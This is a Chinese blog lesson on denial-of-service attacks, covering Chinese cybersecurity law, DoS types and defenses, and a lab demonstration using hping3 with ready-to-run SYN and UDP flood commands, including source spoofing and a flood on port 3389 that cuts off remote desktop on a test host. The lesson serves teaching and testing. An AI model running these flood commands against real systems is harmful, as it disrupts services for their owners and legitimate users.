1024我来利用DOS攻击你的电脑了？(第十三课)

真正的醒悟2023-10-22 18:35

1024我来利用DOS攻击你的电脑了？(第十三课)

本文章设计安全领域的重点问题 学习本文章时 请扎在初学者的角度学习 用于正途

一 国家安全法

1 安全法律法规

《宪法》中的相关规定

案例： 大山破解同事小美私人邮箱密码，读取其往来邮件 邮箱管理员大山根据人事部门要求，下载离职员工小美的企业邮箱邮件

《刑法》中的相关规定

案例1：非法获取计算机信息系统数据、非法控制计算机信息系统、提供非法控制计算机信息系统程序案 12309中国检察网 案例2：百度一员工心生不满"删库"被判刑，法院：构成破坏计算机信息系统罪百度一员工心生不满"删库"被判刑，法院：构成破坏计算机信息系统罪|微盟|百度公司|服务器_网易订阅

《网络安全法》中的相关规定

案例：深圳宝安一企业遭黑客入侵，报案反被行政警告处罚，网警这样说 百度安全验证

2 其他法律法规和部门规章

1）行政法规 《电信条例》 《计算机信息网络国际互联网管理暂行规定》 《计算机信息网络国际联网安全保护管理办法》 《互联网信息服务管理办法》

2）部门规章 《中国互联网域名管理办法》（原信产部） 《互联网IP地址备案管理办法》（原信产部） 《电子认证服务管理办法》（原信产部） 《互联网电子邮件服务管理办法》（原信产部） 《互联网安全保护技术措施规定》（公安部） 《计算机病毒防治管理办法》（公安部） 《信息安全等级保护管理办法》（公安部） 《计算机信息系统安全保护条例》（公安部） 《计算机信息系统国际互联网保密管理规定》（保密局）

3 网络安全法

1）网络安全法的五个方面（七章七十九条）

复制代码 
-网络安全支持与促进

-网络运行安全 -关键信息基础设施的运行安全 -网络信息安全 -检测预警与应急处置

复制代码 
[http://www.npc.gov.cn/npc/c30834/201611/270b43e8b35e4f7ea98502b6f0e26f8a.shtml

2）等级保护制度

网络安全法第二十一条 ：国家实行网络安全等级保护制度

安全保护义务包括： 制定内部安全管理制度和操作规程，确定网络安全负责人，落实网络安全保护责任； 采取防护计算机病毒和网络攻击、网络侵入等危害网络安全行为的技术措施； 采取监测、记录网络运行状态、网络安全事件的技术措施，并按照规定留存相关的网络日志不少于六个月； 采取数据分类、重要数据备份和加密等措施； 法律、行政法规规定的其他义务。

二 DOS 攻击的流程介绍

1 DOS攻击的定义？

DOS攻击（Denial of Service Attack）指的是一种恶意攻击，攻击者通过占用或者破坏网络资源，使得合法用户无法正常访问服务的行为。攻击者通常会通过向目标主机或网络发送大量的请求或数据包，以使目标主机或网络超负荷或崩溃。DOS攻击是网络攻击中常见的一种攻击方式，也是网络安全领域中重要的研究方向之一。

2 DOS 如何攻击的？

  1. SYN Flood攻击：攻击者向目标系统发送大量的TCP连接请求，而在目标系统返回确认应答前，攻击者却不继续发送确认信息，从而使得目标系统处于等待状态，耗尽其连接资源，无法为合法用户提供服务。

  2. ICMP攻击：攻击者向目标系统发送大量的ICMP请求，使得目标系统的网络带宽资源被极度耗尽，从而使得合法用户无法正常访问。

  3. UDP Flood攻击：攻击者向目标系统发送大量无效的UDP包，从而导致目标系统的网络带宽资源被耗尽，无法为合法用户提供服务。

  4. HTTP Flood攻击：攻击者利用客户端程序和蠕虫病毒控制的计算机，不停地向目标系统的WEB服务器发送合法的HTTP请求，消耗其网络带宽资源和CPU负荷，使得目标系统无法处理正常的请求。

3 Dos改如何去防御。

DDoS（分布式拒绝服务攻击）是一种更高级的攻击方式，通过利用多个分布式计算机的联合攻击，更加难以预测和应对。因此，许多企业和组织都选择使用第三方服务提供商的DDoS保护服务。这些服务提供商将监控网络流量、筛选出可疑数据包，并阻止它们进入被攻击系统。这些服务还可以提供实时报告，以帮助您了解攻击的类型和来源。

限制网络流量

为了防止DoS攻击，可以限制网络流量，阻止流量过载目标服务器。例如，可以使用防火墙、入侵检测系统（IDS）和入侵防御系统（IPS）来过滤出来自已知攻击源的数据包，或者限制网站访问流量，以减轻攻击的影响。

加强授权访问和认证控制

攻击者可能会利用开放的网络服务漏洞，通过大量的非授权访问请求来进行DoS攻击。因此，加强授权访问和认证控制是一种有效的防御DoS攻击的方法。例如，可以通过VPN、IP白名单或基于角色的访问控制来限制对特定资源的访问。

加强系统容错性和恢复能力

在遭受DoS攻击时，系统容错性和恢复能力非常重要。在设计和实施网络架构时，应该考虑到容错性和恢复能力，例如使用负载均衡器、故障切换和备份系统等。

4 DOS 案例演示 让所有的主机不能远程

1 开始DOS 之前的测试

2 开始攻击 利用hping3 工具

*****以下是hping3工具的使用详细介绍，需要注意的是，在使用hping3时，必须遵守国家法律法规，不要用于非法活动。

hping3是一款流量发生工具，适用于网络安全测试、网络管理和网络开发等领域。它可以用来检查网络设备的可用性、测试网络服务器的抗压性功能，以及执行各种类型的网络攻击。

下面是hping3工具的使用详细介绍：

1.基本使用

通过hping3可以发送各种类型的流量包，如TCP、UDP、ICMP等。以下是一些基本的示例命令：

  • TCP SYN扫描

hping3 -S IP地址

  • Ping扫描

hping3 -1 IP地址

  • UDP扫描

hping3 -2 IP地址 -p 端口号

  • TCP ACK扫描

hping3 -A IP地址 -p 端口号

2.高级使用

除了基本的功能外，hping3还提供了一些高级的功能：

  • 发送任意数据

hping3 -d 数据长度 IP地址 -p 端口号 -S

  • 发送ICMP数据

hping3 -1 IP地址 --icmp-code 8

  • 发送TCP数据包

hping3 -S IP地址 -p 端口号 -d 数据长度 --ack

3.攻击功能

hping3还提供了一些攻击功能，例如DOS攻击和网络欺骗：

  • DOS攻击

hping3 --flood IP地址

  • 网络欺骗

hping3 --spoof IP地址 -a 目标IP地址 -p 目标端口号 --icmp

hping3是一款高级的命令行网络扫描器和数据包生成器。它可用于对网络设备进行测试，探测端口和服务以及在网络上模拟攻击。以下是hping3工具的使用详细介绍和具体案例：

1.基本用法

使用hping3时，可以为其设置各种选项和参数，以实现不同的目标。以下是一些常见的选项：

-i ：设置发送数据包的时间间隔。

-c ：设置要发送的数据包数量。

-p ：指定目标端口号。

-S ：设置TCP SYN标志。

-w ：设置超时时间。

示例：发送10个SYN包到目标主机的端口80上。

复制代码 
`hping3 -c 10 -S -p 80 target_ip`
  1. 测试网络带宽

可以使用hping3测试网络带宽，这对诊断网络瓶颈非常有用。以下是一个示例，该示例发送大量的UDP数据包到目标主机地址上：

复制代码 
hping3 -S -P -U --flood -V -d 1200 -w 64 -p 8000 target_ip`
`
  1. 模拟DDoS攻击

使用hping3可以模拟DDoS攻击，验证网络设备的稳定性和可靠性。以下是一个示例，该示例向目标主机发送大量的SYN包：

复制代码 
hping3 -S -a source_ip -p 80 --flood target_ip
  1. 探测网络主机信息

使用hping3可以探测网络主机的IP地址、开放的端口和服务。以下是一个示例，该示例扫描目标主机的80端口：

复制代码 
hping3 -S -p 80 target_ip
  1. 使用TCP Ping进行探测

使用TCP Ping可以轻松探测网络主机上的TCP端口是否可用。以下是一个示例，该示例检查目标主机的80端口是否开放：

复制代码 
hping3 -c 1 -S -p 80 target_ip

hping3 192.168.10.142 --syn --flood -p 3389

3 3389

3389 是远程桌面协议（RDP）的默认端口号。RDP是一种远程访问协议，可让用户通过网络远程控制远程计算机。当用户使用远程桌面连接软件连接到目标计算机时，连接将使用3389端口进行通信。

4 Hping3 功能详细介绍

hping3是一款非常强大的网络探测和攻击工具，它可以用于探测远程主机的IP地址，扫描开放的端口，测试网络的性能和安全性，以及进行各种类型的攻击。它支持TCP、UDP、ICMP等多种协议，并且具有高度的灵活性和可自定义性。不过，需要注意的是，hping3的使用需要谨慎，因为它也可以被黑客用于进行网络攻击和侵入。

Haskell 复制代码 
──(root㉿kali)-[~]
└─# hping3 -help
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood      sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

5 发动攻击

5.1 hping3 192.168.10.142 --syn --flood -p 3389

无法远程连接

6 hping3 -c 1 -S -p 80 target_ip

7 hping3 -c 1 -S -p 80 target_ip

8 hping3 -S -P -U --flood -V -d 1200 -w 64 -p 8000 target_ip

相关推荐
virelin_Y.lin28 分钟前
系统与网络安全------弹性交换网络（2）
网络·安全·web安全·链路聚合·lacp·eth-trunk
天狼122233 分钟前
第5章-1 优化服务器设置
运维·服务器·adb
傻啦嘿哟2 小时前
Python正则表达式：用“模式密码“解锁复杂字符串
linux·数据库·mysql
浪裡遊3 小时前
Linux常用指令
linux·运维·服务器·chrome·功能测试
SugarPPig3 小时前
PowerShell 查询及刷新环境变量
服务器
段ヤシ.4 小时前
银河麒麟(内核CentOS8)安装rbenv、ruby2.6.5和rails5.2.6
linux·centos·银河麒麟·rbenv·ruby2.6.5·rails 5.2.6
深夜情感老师6 小时前
centos离线安装ssh
linux·centos·ssh
EasyDSS6 小时前
视频监控从安装到优化的技术指南，视频汇聚系统EasyCVR智能安防系统构建之道
大数据·网络·网络协议·音视频
我的作业错错错6 小时前
搭建私人网站
服务器·阿里云·私人网站
rufeike6 小时前
UDP协议理解
网络·网络协议·udp
热门推荐
01KGG转MP3工具|非KGM文件|解密音频02从零安装 LLaMA-Factory 微调 Qwen 大模型成功及所有的坑03我决定放弃搞 Java 了04Coze扣子平台完整体验和实践（附国内和国际版对比）05YOLOv8入门 | 重要性能衡量指标、训练结果评价及分析及影响mAP的因素【发论文关注的指标】06DeepSeek各版本说明与优缺点分析07yolov8，yolo11，yolo12 服务器训练到部署全流程 笔记08苍穹外卖面试总结09如何在WPS和Word/Excel中直接使用DeepSeek功能10【2025年最新】OpenWrt 更换国内源的指南（图形界面版)